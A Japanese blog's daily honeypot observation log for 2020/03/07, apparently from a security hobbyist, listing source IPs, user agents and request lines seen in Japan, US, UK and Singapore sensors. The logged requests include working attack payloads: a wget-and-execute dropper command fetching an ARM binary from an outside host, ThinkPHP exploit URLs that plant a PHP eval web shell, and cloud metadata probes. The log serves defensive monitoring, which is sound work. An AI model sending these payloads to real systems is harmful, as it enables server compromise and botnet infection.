コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/03/07 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/03/07分です。

特徴
Location：JP

NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
を確認しました。

Location：US

Huaweiルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
botnetによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
5[.]188[.]210[.]101に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp; rm -rf *; wget http://45[.]148[.]10[.]194/arm7; chmod 777 arm7; ./arm7 rep.arm7
Location：UK

GPONルータの脆弱性(CVE-2018-10561)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
solrによるスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location：SG

GPONルータの脆弱性(CVE-2018-10561)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
110[.]249[.]212[.]46に関する不正通信
UserAgentがHello, Worldであるアクセス
を確認しました。

他
アクセス数推移

JP：総アクセス数：188 (前日比：+138)
US：総アクセス数：31 (前日比：+10)
UK：総アクセス数：22 (前日比：-17)
SG：総アクセス数：125 (前日比：+93)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 113.178.99.1 Vietnam
22 125.67.237.56 China
10 129.213.52.75 United States
1 139.205.177.90 China
1 172.105.11.111 United States
1 185.164.72.55 Iran
1 185.202.2.147 Netherlands
1 188.216.174.206 Italy
1 192.241.225.31 United States
1 192.241.228.51 United States
5 193.57.40.38 Ukraine
1 197.232.1.182 Kenya
101 221.120.37.183 Taiwan
1 222.186.19.221 China
34 44.224.22.196 United States
1 45.152.6.58 Netherlands
3 49.233.66.116 China
1 50.101.87.162 Canada
1 61.219.11.153 Taiwan

UserAgent一覧

件数 UserAgent
24 -
14 AWS Security Scanner
3 Go-http-client/1.1
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)
2 Mozilla/5.0
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
12 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330
22 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
2 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 \x03
10 \x16\x03\x01
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /Public/home/appjs/Index.js HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 GET /dashboard.action HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /index.php?a=fetch&templateFile=public/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E') HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B1%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CRequest/input&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /login.do HTTP/1.1
1 GET /login_login.action HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /news.action HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
4 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1
1 GET /shell?busybox HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /verifylogin.do HTTP/1.1
2 GET http://169[.]254[.]169[.]254/ HTTP/1.1
2 GET http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http://example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
3 POST /index.php/?s=captcha HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
2 POST /spread.php HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
10 144.217.78.43 Canada
1 172.104.242.173 United States
1 185.128.41.50 Switzerland
1 192.241.205.24 United States
1 192.241.225.118 United States
5 193.57.40.38 Ukraine
1 197.232.1.182 Kenya
2 217.133.112.227 Italy
1 222.186.19.221 China
1 5.188.210.101 Russia
1 61.219.11.153 Taiwan
1 69.162.80.182 United States
1 85.93.20.62 Germany
4 89.248.167.131 Netherlands

UserAgent一覧

件数 UserAgent
8 -
2 Go-http-client/1.1
1 Java/1.8.0_131
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
2 Mozilla/5.0 zgrab/0.x
1 botnet/2.0
1 python-requests/2.10.0

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://45[.]148[.]10[.]194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET http://5[.]188[.]210[.]101/echo.php HTTP/1.1
1 GET http://example[.]com/ HTTP/1.1
1 POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
5 116.196.90.48 China
1 172.104.242.173 United States
1 192.241.217.251 United States
1 192.241.221.111 United States
5 193.57.40.38 Ukraine
1 222.186.19.221 China
1 49.89.130.159 China
1 5.101.0.209 Russia
1 61.219.11.153 Taiwan
1 69.162.80.182 United States
2 80.82.68.17 Netherlands
2 85.93.20.62 Germany

UserAgent一覧

件数 UserAgent
5 -
1 Go-http-client/1.1
1 Hello, World
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
2 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
2 -
2 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET http://example[.]com/ HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
5 110.249.212.46 China
1 181.13.0.6 Argentina
1 192.241.214.120 United States
1 192.241.231.122 United States
101 195.101.140.117 France
10 203.95.216.64 India
1 222.186.19.221 China
1 45.136.108.64 Germany
1 49.82.28.220 China
1 5.101.0.209 Russia
1 61.219.11.153 Taiwan
1 61.37.47.252 South Korea

UserAgent一覧

件数 UserAgent
7 -
2 Go-http-client/1.1
1 Hello, World
2 Mozilla/5.0
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1
1 GET /shell?busybox HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
5 GET http://110[.]249[.]212[.]46/testget?q=23333&port=80 HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1